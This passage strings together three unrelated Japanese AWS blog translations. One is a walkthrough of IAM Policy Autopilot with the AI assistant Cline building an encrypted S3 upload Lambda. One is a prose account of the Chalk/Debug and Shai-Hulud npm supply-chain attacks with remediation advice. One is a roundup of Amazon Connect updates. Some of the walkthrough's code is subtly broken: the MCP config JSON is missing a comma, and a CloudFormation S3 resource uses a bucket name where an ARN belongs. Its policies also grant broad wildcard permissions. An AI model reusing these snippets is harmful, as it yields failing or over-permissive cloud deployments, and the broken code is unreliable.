Kiro 、 Amazon Q Developer 、Cursor、Cline、Claude Code などの MCP 互換コーディングアシスタントと統合します。また、IAM Policy Autopilot をスタンドアロンの CLI ツールとして使用して、ポリシーを直接生成したり、不足している権限を修正したりすることもできます。どちらのアプローチでも同じポリシー作成とトラブルシューティング機能が提供されるため、ワークフローに最適な統合方法を選択できます。 IAM Policy Autopilot 使用のウォークスルー このセクションでは、実践的な例を通じて IAM Policy Autopilot の MCP サーバー機能を紹介します。AWS KMS のカスタマーマネージドキーを使用したサーバーサイド暗号化で Amazon S3 にドキュメントを保存するファイルアップロードアプリケーションを作成します。このブログでは Cline を使用しますが、IAM Policy Autopilot は MCP 互換のコーディングアシスタントで動作します。 前提条件とセットアップ IAM Policy Autopilot は uv または pip を使用してインストールできます。最も簡単な方法は、 uvx iam-policy-autopilot を実行して uv でインストールし、MCP クライアント設定ファイルで MCP サーバーを以下のように設定することです。 pip を使用して IAM Policy Autopilot をインストールする場合、MCP 設定は異なることに注意してください。 { "mcpServers": { "iam-policy-autopilot": { "command": "uvx", "args": ["iam-policy-autopilot", "mcp-server"], "env": { "AWS_PROFILE": "your-profile-name", "AWS_REGION": "us-east-1" } "disabled": false, "autoApprove": [] } } } 安全なファイルアップロード Lambda 関数の作成 このセクションでは、アプリケーションをゼロから作成する手順を説明します。開発者、Cline、IAM Policy Autopilot 間のやり取りを紹介し、Cline へのガイダンスの提供方法と、Cline がバックグラウンドで IAM Policy Autopilot を呼び出して IAM ポリシーを生成し、アプリケーションをデプロイする流れを紹介します。 訳注: 以下のやり取りでは、「ユーザー:」は開発者が AI コーディングアシスタントに入力するプロンプトを、「Cline:」は AI アシスタントからの応答を示しています。 1. ビルダーが要件を説明する ユーザー: S3 にファイルをアップロードする Lambda 関数を作成したいです。ファイルは AWS KMS のカスタマーマネージドキーで暗号化する必要があります。構築を手伝ってもらえますか? 2. Cline がソリューションの計画を開始する Cline: 安全なファイルアップロード Lambda 関数の作成をお手伝いします。以下のように分解してみましょう。 ファイルアップロードを処理する Lambda 関数を作成する AWS KMS のカスタマーマネージドキーで暗号化を使用した S3 統合をセットアップする 必要な IAM 権限を作成する AWS CDK を使用してインフラストラクチャを構築する まず Lambda 関数のコードを書くことから始めましょう。 3. Cline が AWS Lambda 関数のコードを作成する Cline は、パーティション、AWS リージョン、AWS アカウント ID など、デプロイに必要な認証情報の入力も求めます。 次に Cline は uploadHandler.js ファイルを作成します。 const { S3Client, PutObjectCommand } = require('@aws-sdk/client-s3'); const s3Client = new S3Client({ region: 'us-west-2' }); exports.handler = async (event) => { const { fileName, fileContent } = JSON.parse(event.body); const putObjectParams = { Bucket: process.env.BUCKET_NAME, Key: fileName, Body: fileContent, ServerSideEncryption: 'aws:kms', SSEKMSKeyId: process.env.KMS_KEY_ID }; try { await s3Client.send(new PutObjectCommand(putObjectParams)); return { statusCode: 200, body: JSON.stringify({ message: 'File uploaded successfully' }) }; } catch (error) { return { statusCode: 500, body: JSON.stringify({ error: error.message }) }; } }; 4. Cline が IAM ポリシーの作成が必要だと判断し、IAM Policy Autopilot を検出する Cline: 次に、この Lambda 関数に適切な権限を持つ IAM ロールを作成する必要があります。IAM ポリシーの作成に役立つツールが利用可能かどうか確認してみましょう。 Cline は IAM Policy Autopilot MCP サーバーにポリシー作成機能があることを検出し、それを呼び出します。 Request Type: CallToolRequest Method: CallToolRequestMethod Params: Name: "generate_application_policies" Arguments: account: "123456789012" partition: "aws" region: "us-west-2" source_files: [ "/Users/user/workspace/uploadHandler.js" ] Extensions: Extensions 5. IAM Policy Autopilot がコードを解析してポリシーを生成する IAM Policy Autopilot はコードをスキャンし、アプリケーションコード内の PutObjectCommand を識別します。これは Amazon S3 API コールとして認識されます。AWS のお客様の一般的な使用パターンに基づいて、IAM Policy Autopilot は暗号化権限と CloudWatch ログ権限も提案します。 IAM Policy Autopilot は、暗号化シナリオで必要になる可能性のある AWS KMS 権限を含む、Amazon S3 PutObject に必要な権限を含むアイデンティティベースの IAM ポリシーを生成します。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:PutObject" ], "Resource": "arn:aws:s3:::*/*" }, { "Effect": "Allow", "Action": [ "kms:Encrypt", "kms:GenerateDataKey" ], "Resource": "arn:aws:kms:us-west-2:123456789012:key/*" }, { "Effect": "Allow", "Action": [ "logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents" ], "Resource": "arn:aws:logs:us-west-2:123456789012:*" } ] } 6. Cline が完全な CloudFormation インフラストラクチャを作成する Cline: 完璧です! IAM Policy Autopilot が Lambda 関数に必要な包括的な権限を生成しました。S3 PutObject 権限、暗号化シナリオに対応する KMS 権限、関数実行用の CloudWatch Logs 権限が含まれています。次に完全な CloudFormation テンプレートを作成します。 Cline は IAM Policy Autopilot が提供した権限を使用して AWS CloudFormation テンプレートを生成します。 AWSTemplateFormatVersion: "2010-09-09" Resources: UploadEncryptionKey: Type: AWS::KMS::Key Properties: KeyPolicy: Statement: Effect: Allow Principal: AWS: !Sub "arn:aws:iam::123456789012:root" Action: "kms:*" Resource: "*" SecureUploadBucket: Type: AWS::S3::Bucket UploadLambdaRole: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: Effect: Allow Principal: Service: lambda.amazonaws.com Action: sts:AssumeRole Policies: - PolicyName: UploadPolicy PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - s3:PutObject Resource: !Sub "${SecureUploadBucket}/*" - Effect: Allow Action: - kms:Encrypt - kms:GenerateDataKey Resource: !GetAtt UploadEncryptionKey.Arn - Effect: Allow Action: - logs:CreateLogGroup - logs:CreateLogStream - logs:PutLogEvents Resource: "arn:aws:logs:*:*:*" UploadHandler: Type: AWS::Lambda::Function Properties: Runtime: nodejs18.x Handler: uploadHandler.handler Code: ZipFile: | // Lambda function code would be deployed separately Role: !GetAtt UploadLambdaRole.Arn Environment: Variables: BUCKET_NAME: !Ref SecureUploadBucket KMS_KEY_ID: !Ref UploadEncryptionKey この例は、IAM Policy Autopilot が開発ワークフローにシームレスに統合され、呼び出し時にコーディングアシスタントに最新かつ正確な IAM ポリシーを提供し、ユーザーの作業負担を軽減する様子を示しています。 今回のウォークスルーでは、IAM Policy Autopilot に解析用の単一ファイルを渡していますが、静的コード解析を実行して IAM ポリシーを作成する際には複数のファイルを取り込むことができます。 CLI の直接使用: シンプルなポリシー作成 CLI を使えば、AI コーディングアシスタントなしでも同じ解析機能を直接利用できます。 1. 既存のコードから IAM ポリシーを生成する この例では、同じ uploadHandler.js ファイルがあり、デプロイ用のアイデンティティベースの IAM ポリシーを生成したいとします。 $ iam-policy-autopilot generate-policy --region us-west-2 --account 123456789012 --pretty Users/user/workspace/uploadHandler.js 2. IAM Policy Autopilot がコードを解析してポリシーを出力する { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:PutObject" ], "Resource": "arn:aws:s3:::*/*" }, { "Effect": "Allow", "Action": [ "kms:Encrypt", "kms:GenerateDataKey" ], "Resource": "arn:aws:kms:us-west-2:123456789012:key/*" }, { "Effect": "Allow", "Action": [ "logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents" ], "Resource": "arn:aws:logs:us-west-2:123456789012:*" } ] } 3. ビルダーが生成された IAM ポリシーを使用する このポリシーを CloudFormation テンプレート、 AWS Cloud Development Kit (AWS CDK) スタック、または Terraform 設定に直接コピーできます。 この CLI アプローチは、MCP サーバーと同じコード解析とクロスサービス権限検出を提供しますが、コマンドラインワークフローや自動化されたデプロイパイプラインに適しています。 ベストプラクティスと考慮事項 開発ワークフローで IAM Policy Autopilot を使用する際は、以下のプラクティスに従うことで、セキュリティのベストプラクティスを維持しながらメリットを最大化できます。 IAM Policy Autopilot で生成されたポリシーから始めて改善する IAM Policy Autopilot は、最小権限よりも機能性を優先したポリシーを生成し、最初のデプロイからアプリケーションが正常に動作するよう支援します。これらのポリシーは、アプリケーションが成熟するにつれて改善できる出発点となります。デプロイ前に、生成されたポリシーがセキュリティ要件に合致しているかレビューしてください。 IAM Policy Autopilot の解析範囲を理解する IAM Policy Autopilot は、コード内の直接的な AWS SDK 呼び出しの識別に優れており、ほとんどの開発シナリオに対応した IAM ポリシーを提供します。ただし、いくつかの制限があることを覚えておいてください。例えば、コードが s3.getObject ( bucketName ) を呼び出し、 bucketName がランタイムで決定される場合、IAM Policy Autopilot は現在どのバケットにアクセスされるかを予測しません。AWS SDK をラップするサードパーティライブラリを使用するアプリケーションでは、IAM Policy Autopilot が生成した解析を手動のポリシーレビューで補完する必要がある場合があります。現在、IAM Policy Autopilot は IAM ロールとユーザーのアイデンティティベースのポリシーに焦点を当てており、S3 バケットポリシーや KMS キーポリシーなどのリソースベースポリシーは作成しません。 既存の IAM ワークフローと統合する IAM Policy Autopilot は、包括的な IAM 戦略の一部として最も効果を発揮します。IAM Policy Autopilot を使用して機能的なポリシーを迅速に生成し、継続的な改善には他の AWS ツールを活用してください。例えば、 AWS IAM Access Analyzer は、時間の経過とともに未使用の権限を特定するのに役立ちます。この組み合わせにより、迅速なデプロイから最小権限の最適化までのワークフローが実現します。 IAM Policy Autopilot とコーディングアシスタントの境界を理解する IAM Policy Autopilot は、コードの決定論的解析に基づいて特定のアクションを含むポリシーを生成します。MCP サーバー統合を使用する場合、AI コーディングアシスタントはこのポリシーを受け取り、Infrastructure as Code (IaC) テンプレートを作成する際に変更を加える場合があります。例えば、アシスタントがコードの追加コンテキストに基づいて、特定のリソース Amazon Resource Name (ARN) を追加したり、KMS キー ID を含めたりすることがあります。これらの変更は、IAM Policy Autopilot が提供する静的解析からではなく、コーディングアシスタントがより広いコードコンテキストを解釈した結果です。デプロイ前に、コーディングアシスタントが生成したコンテンツがセキュリティ要件を満たしているか必ずレビューしてください。 適切な統合アプローチを選択する 開発中の会話でシームレスにポリシーを作成するために AI コーディングアシスタントと連携する場合は、MCP サーバー統合を使用してください。CLI ツールは、バッチ処理や直接的なコマンドライン操作を好む場合に適しています。どちらのアプローチも同じ解析機能を提供するため、ご自身の開発ワークフローに合わせて選択してください。 まとめ IAM Policy Autopilot は、IAM ポリシー管理を開発上の課題から、既存のワークフロー内でシームレスに機能する自動化された機能へと変革します。IAM Policy Autopilot の決定論的コード解析とポリシー作成機能を活用することで、ビルダーは AWS で正常に実行するために必要な権限があることを確信しながら、アプリケーションの作成に集中できます。 MCP サーバー統合を通じて AI コーディングアシスタントと連携する場合でも、CLI を直接使用する場合でも、IAM Policy Autopilot は同じ解析機能を提供します。このツールは、AWS KMS 暗号化を伴う S3 操作などの一般的なクロスサービス依存関係を識別し、構文的に正しいポリシーを生成し、AWS が提供する拡大するサービスカタログに対応して最新の状態を維持するため、ビルダーと AI アシスタントの両方の負担を軽減します。 IAM Policy Autopilot を使えば、ビルダーが IAM の専門家になる必要はなく、わかりにくい権限エラーに悩まされることもありません。AWS 開発がより身近で効率的になります。その結果、デプロイサイクルが短縮され、権限関連の不具合が減少し、アクセス問題のデバッグではなくビジネス価値の創出により多くの時間を費やせるようになります。 開発ワークフローにおける IAM ポリシー作成の手間を減らしませんか？IAM Policy Autopilot は追加費用なしで今すぐ利用可能です。 GitHub リポジトリ からダウンロードして IAM Policy Autopilot を始め、自動化されたポリシー作成が AWS 開発をどのように加速できるかを体験してください。IAM Policy Autopilot の機能とカバレッジを拡大し続ける中で、みなさまからのフィードバックとコントリビュートをお待ちしています。 Diana Yin Diana は AWS IAM Access Analyzer のシニアプロダクトマネージャーです。顧客インサイト、製品戦略、テクノロジーの交差点で問題を解決することに注力しています。仕事以外では、水彩画で自然の風景を描いたり、ウォーターアクティビティを楽しんでいます。University of Michigan で MBA を、Harvard University で教育学修士号を取得しています。 Luke Kennedy Luke は AWS Identity and Access Management (IAM) のプリンシパルソフトウェア開発エンジニアです。Rose-Hulman Institute of Technology でコンピュータサイエンスとソフトウェアエンジニアリングの学位を取得後、2013 年に IAM 組織に加わりました。AWS 以外では、猫と過ごしたり、ホームラボやネットワークを過度に複雑にしたり、パンプキン味のものを追求したりすることを楽しんでいます。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2025 年 10 月 2 日に公開された AWS Blog “ Defending against supply chain attacks like Chalk/Debug and the Shai-Hulud worm ” を翻訳したものです。 オープンソースパッケージを利用することで、開発を加速できます。npm、PyPI、Maven Central、NuGet などで提供されている一般的なライブラリやモジュールを使用することで、チームは自社固有のコード作成に集中できます。これらのオープンソースパッケージレジストリは何百万ものパッケージをホストしており、毎日何千ものプログラムに組み込まれています。 これらの重要なサービスは、残念ながら、大規模にコードを配布しようとする脅威アクターの格好の標的となっています。これらのサービスのいずれかでパッケージを侵害できれば、その 1 つのアクションで自動的に何千もの他のシステムに影響を与えることができます。 2025 年 9 月 8 日: Chalk と Debug の侵害 この侵害は、npm の信頼されたメンテナーの認証情報が不正に取得されたことから始まりました。ソーシャルエンジニアリングで認証情報を窃取した後、18 の人気パッケージ (Chalk、Debug、ansi-styles、supports-color など) に悪意あるペイロードが注入されました。 このペイロードは、暗号通貨のアクティビティを密かに監視し、攻撃者の利益のためにトランザクションを改ざんするように設計されていました。 これらのパッケージは合わせて毎週推定 20 億回ダウンロードされています。メンテナーと npm 運営による迅速な対応があったにもかかわらず、侵害されたバージョンが利用可能だった数時間の間に、重大な影響を受けた可能性があります。この期間中にパッケージをダウンロードしたビルドシステムや、リモートでパッケージを読み込んだサイトは、脆弱な状態になった可能性があります。 この巧妙なマルウェアは、高度な偵察技術を備えており、実行環境に応じて最も効果的な攻撃ベクトルを選択するよう動作を適応させました。 2025 年 9 月 15 日: Shai-Hulud ワーム 翌週、Shai-Hulud ワームが npm の信頼チェーンを通じて自律的に拡散し始めました。このマルウェアは、開発者の環境での最初の足がかりを使用して、npm トークン、GitHub パーソナルアクセストークン、クラウド認証情報など、さまざまな認証情報を収集します。 可能な場合、マルウェアは収集した認証情報を公開します。npm トークンが利用可能な場合、ワームを追加のペイロードとして含む更新されたパッケージを公開します。侵害されたパッケージは、感染を継続的に拡散するために postinstall スクリプトとしてワームを実行します。 この自己増殖方法に加えて、ワームはアクセスを取得した GitHub リポジトリの改ざんも試みます。Shai-Hulud は、すべてのリポジトリアクティビティで実行される悪意のあるワークフローを設定し、コードを継続的に窃取し続けます。 このエクスプロイトは、技術的に高度であると同時に、開発者が信頼してパッケージをインストールする流れを巧みに悪用していることを示しました。標準的な npm インストールプロセスを使用することで、ワームは開発者に期待される動作パターン内で動作するため、検出がより困難になります。 このエクスプロイトの最初の 24 時間以内に、180 を超える npm パッケージが侵害され、再び何百万ものシステムに影響を与える可能性がありました。両方のインシデントは、サプライチェーン侵害の潜在的な規模を示しています。 このようなインシデントへの対応方法 侵害されたパッケージが本番環境に入った場合は、問題を解決するためにアクティブなインシデントに対する標準的なインシデント対応プロセスに従う必要があります。 開発環境をスキャンするには、以下の手順をお勧めします。 依存関係の監査 : Chalk と Debug パッケージを削除するか、クリーンなバージョンにアップグレードし、Shai-Hulud に感染したパッケージがないか確認する シークレットのローテーション : npm トークン、GitHub パーソナルアクセストークン、API キーが侵害されている可能性があると想定し、認証情報を直ちにローテーションして再発行する ビルドパイプラインの監査 : 不正な GitHub Actions ワークフローや予期しないスクリプトの挿入がないか確認する Amazon Inspector の使用 : Amazon Inspector の検出結果で Chalk/Debug エクスプロイトまたは Shai-Hulud ワームの影響を受けていないか確認し、推奨される修復を行う サプライチェーンの強化 : SBOM (ソフトウェア部品表) を適用し、パッケージバージョンを固定し、権限を限定したトークンを採用し、CI/CD 環境を分離する Amazon Inspector が OpenSSF とともにオープンソースセキュリティを強化する仕組み AWS は、Open Source Security Foundation (OpenSSF) とのパートナーシップを通じて、Amazon Inspector の悪意あるパッケージ検出システムからの検出結果をコミュニティと定期的に共有しています。Amazon Inspector は、Open Source Vulnerability (OSV) 形式を使用して、このタイプの脅威インテリジェンスを共有する自動化されたプロセスを採用しています。 Amazon Inspector は、悪意あるパッケージを特定するために、多角的な分析技術を組み合わせた多層検出アプローチを採用しています。このアプローチは、既知の攻撃パターンと新しい脅威の両方に対する堅牢な保護を提供します。 YARA ルールの広範なライブラリを使用した静的解析から始めて、Amazon Inspector はパッケージコンテンツ内の疑わしいコードパターン、難読化技術、既知の悪意あるシグネチャを特定できます。それに基づいて、システムは動的解析と動作監視を使用して、回避技術が使用されていても脅威を特定します。最後の分析セットは、AI と機械学習モデルを使用してコードのセマンティクスを分析し、パッケージ内の意図された目的と疑わしい機能を判断します。 この多段階アプローチにより、Amazon Inspector は誤検知を最小限に抑えながら高い検出精度を維持でき、正当なパッケージが誤ってフラグ付けされず、巧妙な脅威が確実に特定され軽減されるようにします。 これらの脅威がオープンソースパッケージで検出されると、システムはこの脅威インテリジェンスを OpenSSF と共有するための自動化されたワークフローを開始します。このワークフローは、検証された脅威インテリジェンスを OpenSSF に送信し、コミュニティデータベースにマージされる前に OpenSSF のメンテナーによって厳格にレビューされます。そこで、公式の MAL-ID (悪意あるパッケージ識別子) が付与されます。 このプロセスは、こうした脅威検出をできるだけ早くコミュニティと検証および共有し、他のセキュリティツールや研究者が Amazon Inspector の検出機能の恩恵を受けられるようにするのに役立ちます。 今後の展望 Chalk/Debug と Shai-Hulud ワームは、新しいタイプのエクスプロイトではありません。残念ながら、この攻撃ベクトルを使用した最新のインシデントにすぎません。オープンソースリポジトリは開発者にとって素晴らしいリソースであり、多くのチームがより迅速にイノベーションを実現するのに役立っています。オープンソースコミュニティは、このようなインシデントの影響を軽減するために懸命に取り組んでいます。 そのため、AWS は OpenSSF とパートナーシップを結び、侵害されたか悪意を持って作成された 40,000 を超える npm パッケージを特定したレポートを提供してきました。AWS は、Amazon Inspector が安全かつセキュアに構築するための優れたツールであると考えています。すべての方に使用していただきたいと思っていますが、OpenSSF のような取り組みへの AWS の貢献がコミュニティ全体のセキュリティ向上に役立っていることを誇りに思っています。 この投稿に関するご質問がある場合は、 Amazon Inspector タグ付きの AWS re:Post に質問をするか、 AWS サポート にお問い合わせください。 Chi Tran Chi は Amazon Web Services のシニアセキュリティリサーチャーで、オープンソースソフトウェアサプライチェーンセキュリティを専門としています。オープンソースソフトウェアの悪意あるパッケージを検出する Amazon Inspector のエンジンの研究開発をリードしています。Amazon Inspector の SME として、複雑なセキュリティ実装や高度なユースケースについてお客様に技術的なガイダンスを提供しています。専門分野は、クラウドセキュリティ、脆弱性調査、アプリケーションセキュリティです。OSCP、OSCE、OSWE、GPEN などの業界認定資格を保有し、複数の CVE を発見し、オープンソースセキュリティイノベーションに関する特許を出願中です。 Charlie Bacon Charlie は AWS の Amazon Inspector セキュリティエンジニアリングおよびリサーチ責任者です。Amazon Inspector やその他の Amazon Security 脆弱性管理ツールを支える脆弱性スキャンおよびインベントリ収集サービスのチームをリードしています。AWS に入社する前は、金融およびセキュリティ業界で 20 年間、リサーチと製品開発の両方でシニアロールを務めていました。 Nirali Desai Nirali はクラウドセキュリティのプロダクトリーダーで、現在 Amazon Web Services (AWS) でアプリケーションセキュリティイニシアチブを推進しています。AWS に入社する前は、Palo Alto Networks、Zscaler、Cisco Tetration で重要な役割を担い、Secure Access Secure Edge (SASE)、エンドユーザーセキュリティ、ワークロード保護、ゼロトラストセキュリティソリューションの構築に注力していました。進化するサイバー脅威から防御するスケーラブルなセキュリティ製品の構築に情熱を注いでいます。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

新年あけましておめでとうございます。Amazon Connect ソリューションアーキテクトの坂田です。 2025年12月には AWS re:Invent 2025 がラスベガスで開催され、Amazon Connect に関する多くの革新的な発表がありました。本ブログでは、2025年11月と12月に発表された Amazon Connect と Amazon Lex のアップデートをまとめました(新年合併号です！)。今年も皆さんのお役に立つ内容をお届けしてまいりますので、どうぞよろしくお願いいたします。 目次 注目のアップデートについて AWS Workshop のご紹介 2025年11月・12月のアップデート一覧 AWS Contact Center Blog のご紹介 1. 注目のアップデートについて AWS re:Invent 2025 では、Amazon Connect のアップデートが以下の4つの主要カテゴリに整理されました： Action with AI: Beyond simple automation （AI によるアクション：単純な自動化を超えて） Elevate your workforce: True human+AI partnership （ワークフォースの向上：真の人間+ AI パートナーシップ） Transform data into relationships: Proactive intelligence （データを関係性に変換：プロアクティブインテリジェンス） Accelerate Outcomes: Confidence Through Observability （成果の加速：可視性による信頼性） 本セクションでは、これらのカテゴリから特に注目すべき2つのテーマをご紹介します。 テーマ1: AI エージェントの大幅な強化とオブザーバビリティの向上 2025年11月・12月期間中、Amazon Connect AI エージェントは革新的な進化を遂げました。 Model Context Protocol (MCP) サポート により、AI エージェントは豊富なコンテキスト情報を活用した高精度な応答が可能になり、 Amazon Nova Sonic との統合でリアルタイム会話 AI による自然で表現豊かな音声インタラクションを実現しています。さらに、 Amazon Bedrock Knowledge Bases との統合により、複数のナレッジソースを活用した包括的な情報提供が可能になりました。 これらの技術革新により、AI エージェントは注文状況確認、返金処理、顧客記録更新などの複雑なタスクを人的介入なしで自動実行できるようになり、従来の単純な質問応答を超えた知的な顧客支援を提供します。 また、AI エージェント活用の成功において重要なのは、継続的な監視と改善です。Amazon Connect は AI エージェントの分析・監視機能 をネイティブに搭載し、AI エージェントが関与した問い合わせ数、ハンドオフレート、会話ターン数、平均処理時間などの主要メトリクスをカスタマイズ可能なダッシュボードで提供。さらに、 自動パフォーマンス評価機能 により、セルフサービスインタラクションの品質を自動的に評価し、改善点を特定できます。 テーマ2: 顧客価値重視のプロアクティブエンゲージメント Amazon Connect Customer Profiles に新しい AI 活用予測インサイト機能 が追加され、5つの推奨アルゴリズム（「推奨」「類似アイテム」「よく一緒に購入される商品」「人気アイテム」「現在のトレンド」）により、顧客の行動パターンと対話履歴を分析したパーソナライズされた提案が可能になりました。 Amazon Connect Outbound Campaigns では、 マルチステップ・マルチチャネル顧客エンゲージメントジャーニービルダー により、複数のチャネルと複数のステップを組み合わせた洗練されたキャンペーンを構築できます。さらに、 新しいセグメンテーション機能 により、顧客データをより詳細にセグメント化し、真に価値のあるパーソナライズされた顧客体験を提供できるようになりました。 これらの機能により、企業は単なる一方的なマーケティングから脱却し、顧客の真のニーズに基づいたプロアクティブで価値あるエンゲージメントを実現できます。 2. AWS Workshop のご紹介 Amazon Connect の新機能を実際に体験しながら実装スキルを習得するための、AWS Workshop をご紹介します。これらのハンズオンワークショップでは、最新の AI 機能やコンタクトセンター管理機能を実際の環境で学習できます。 AI エージェント・セルフサービス関連ワークショップ Agentic AI on Amazon Connect を使った知的な顧客サービスの構築 エージェンティック AI の力を活用して顧客サービスを変革する没入型ワークショップです。ホテルチェーンの IT チームの立場に立ち、予約システムを革新的に変えて、シームレスでインテリジェントなセルフサービス体験を提供する実践的な学習を行います。 学習内容: 空き状況の確認、予約の作成、予約の変更ができるインテリジェントな AI エージェントの構築 Model Context Protocol (MCP) サーバーを使用した安全で拡張性の高いバックエンドの実装 AI の自動化と人間の専門知識を無理なく組み合わせた Amazon Connect フローの設計 様々な業界に適用できる、エージェンティック AI のパターンに関する実践的な経験 多言語・国際化ワークショップ Multilingual Contact Center with Amazon Connect さまざまな言語の好みを持つ多様なグローバル顧客基盤に対して効果的な顧客サポートを提供するための、多言語コンタクトセンターソリューションを構築するワークショップです。Amazon Connect の拡張性と AWS サービス統合を活用して、音声からテキストまでの真のオムニチャネル翻訳機能を実現する方法を学習します。 解決する課題: 従来のテキストベースサポート、サードパーティ翻訳サービス、多言語コンタクトセンターエージェントによるアプローチは、しばしば一貫性のない顧客体験と運用コスト増加を招きます。 革新的ソリューション – Voice to Voice 翻訳: 高度な音声認識と機械翻訳技術を活用して、エージェントと顧客間の音声会話のほぼリアルタイム翻訳を実現します。言語能力や追加スタッフィングを必要とせず、エージェントが顧客の好みの言語でコミュニケーションできるソリューションを開発できます。 技術的実装: 音声認識 : 顧客の話し言葉を音声認識技術でテキストに変換し、機械翻訳エンジンに送信 機械翻訳 : 顧客のテキストをエージェントの好みの言語にほぼリアルタイムで翻訳し、音声合成でスピーチに変換 双方向翻訳 : エージェントの応答も同様に処理し、顧客の言語に翻訳して音声で配信 シームレス統合 : Amazon Connect との統合により、エージェントは追加の努力や訓練なしで多言語での顧客対応が可能 使用技術: Amazon Connect Streams JS : 既存 Web アプリケーションと Amazon Connect の統合、Contact Control Panel (CCP) の埋め込み Amazon Connect RTC JS : Amazon Connect へのソフトフォンサポート提供、WebRTC プロトコル実装 対象チャネル: チャット、SMS、メール（拡張可能）などのテキストベース通信から音声まで、統一された顧客体験を提供 使用サービス: Amazon Connect、Amazon Translate、Amazon Transcribe、Amazon Polly、Amazon Cognito、Amazon Connect Streams JS、Amazon Connect RTC JS 3. 2025年11月・12月のアップデート一覧 AWS re:Invent 2025 では、Amazon Connect のアップデートを 4 つの主要カテゴリに整理して発表されました。以下、これらのカテゴリに基づいて 2025年11月・12月のアップデートをご紹介します。 注記 : re:Invent 期間中（11月30日）以外に発表されたアップデートについては、著者が re:Invent の 4 つのカテゴリフレームワークに基づいて分類したものです。 1. Action with AI: Beyond simple automation（AI によるアクション：単純な自動化を超えて） 自律型 AI エージェントとインテリジェントな自動化により、従来の単純な自動化を超えた高度な AI 機能を提供します。 Amazon Nova 2 Sonic でリアルタイム会話 AI を発表 （2025年12月２日） 概要 : Amazon Nova 2 Sonic がリアルタイム会話 AI 機能を提供開始。双方向音声ストリーミング、音声理解、適応的応答、中断処理、ナレッジグラウンディング、関数呼び出し、ノイズ耐性、多言語表現豊かな音声を特徴とする次世代の会話 AI 体験を実現します。 利用可能リージョン : 米国東部 (バージニア北部)、米国西部 (オレゴン)、アジアパシフィック (東京) 関連リソース : AWS ニュースブログ Amazon Nova Sonic ユーザーガイド Amazon Connect でより自然で表現豊かな適応型音声インタラクションによるエージェンティックセルフサービスを導入 （2025年11月30日） 概要 : より自然で表現豊かな適応型音声インタラクションを特徴とするエージェンティックセルフサービスを導入。Nova Sonic を活用した高度な音声 AI 体験を提供します。 利用可能リージョン : 米国東部 (バージニア北部) と米国西部 (オレゴン) 関連リソース : Nova Sonic Speech-to-Speech 設定ガイド Amazon Connect でサードパーティ音声認識・音声合成 AI モデルをサポート （2025年11月30日） 概要 : エンドカスタマーのセルフサービス向けにサードパーティの音声認識（STT）および音声合成（TTS）AI モデルのサポートを追加。より多様な音声技術の選択肢を提供します。 利用可能リージョン : Amazon Connect が利用可能なすべての AWS リージョン ( Amazon Connect の無制限の AI を有効にする) 関連リソース : Amazon Connect でサードパーティーの音声プロバイダーを設定する Amazon Connect で複数のナレッジベースと Amazon Bedrock Knowledge Bases との統合をサポート （2025年11月30日） 概要 : 複数のナレッジベースのサポートと Amazon Bedrock Knowledge Bases との統合を提供。より包括的な知識管理と AI 支援機能を実現します。 利用可能リージョン : Amazon Connect が利用可能なすべての AWS リージョン 関連リソース : 生成 AI を活用したリアルタイムのエージェント支援のために Amazon Q in Connect を使用する Amazon Bedrock Knowledge Bases Amazon Connect で Model Context Protocol (MCP) サポートを開始（2025年11月30日） 概要 : Amazon Connect で Model Context Protocol (MCP) のサポートを開始。MCP により、AI エージェントがより豊富なコンテキスト情報を活用して、より正確で関連性の高い応答を提供できるようになります。 利用可能リージョン : リージョンごとの Amazon Connect 機能の提供状況 を参照 (※東京リージョンは利用可能) 関連リソース : Amazon Connect AI エージェント AI エージェントによる MCP ツールによる情報の取得とアクションの完了を有効にする Amazon Connect で AI 搭載インタラクションのメッセージストリーミングを提供 （2025年11月30日） 概要 : Amazon Connect が AI チャット対話でメッセージストリーミング機能を提供開始。この新機能により、Connect AI エージェントの応答が生成された時点で表示されるため、待ち時間が短縮され、カスタマーエクスペリエンスが向上します。 利用可能リージョン : 米国東部 (バージニア北部)、米国西部 (オレゴン)、アジアパシフィック (ソウル)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、カナダ (中部)、欧州 (フランクフルト)、欧州 (ロンドン)、アフリカ (ケープタウン) 関連リソース : AI を活用したチャットのメッセージストリーミングを有効にする Amazon Lex で自然言語理解の主要オプションとして LLM をサポート （2025年11月26日） 概要 : Amazon Lex が自然言語理解（NLU）の主要オプションとして大規模言語モデル（LLM）をサポート開始。より高度で柔軟な自然言語処理能力を提供し、複雑な会話パターンの理解を向上させます。 利用可能リージョン : Amazon Connect と Amazon Lex が利用可能なすべての AWS リージョン 関連リソース : Amazon Connect セルフサービス Amazon Lex 開発者ガイド Amazon Lex で待機・継続機能を10の新言語に拡張 （2025年11月21日） 概要 : Amazon Lex の待機・継続機能を10の新しい言語に拡張。より多くの言語でユーザーが追加情報を収集している間に音声ボットやチャットボットは会話を一時停止し、準備ができたらシームレスに再開できるようになります。 利用可能リージョン : Amazon Lex が利用可能なすべての AWS リージョン 関連リソース : Amazon Lex サポート言語 2. Elevate your workforce: True human+AI partnership（ワークフォースの向上：真の人間+ AI パートナーシップ） AI とエージェントの協働により、エージェントの能力を向上させ、より効率的で効果的な顧客サービスを実現します。 Amazon Connect Chat でエージェントが開始するワークフローをサポート （2025年11月30日） 概要 : Amazon Connect Chat でエージェントが開始するワークフローをサポート開始。エージェントが顧客との会話中に特定のワークフローやプロセスを開始できるようになります。 利用可能リージョン : 米国東部 (バージニア北部)、米国西部 (オレゴン)、アジアパシフィック (ソウル)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、カナダ (中部)、欧州 (フランクフルト)、欧州 (ロンドン)、アフリカ (ケープタウン) 関連リソース : アクティブなチャットセッション中にエージェント開始フローを有効にする Amazon Connect が Agentforce Service 向け AI エージェント支援と要約を提供 （2025年11月30日） 概要 : Salesforce Contact Center with Amazon Connect 向けの AI エージェント支援と要約機能を提供開始。Salesforce Agentforce Service 環境でのエージェント支援機能を強化し、より効率的な顧客サービスを実現します。 利用可能リージョン : 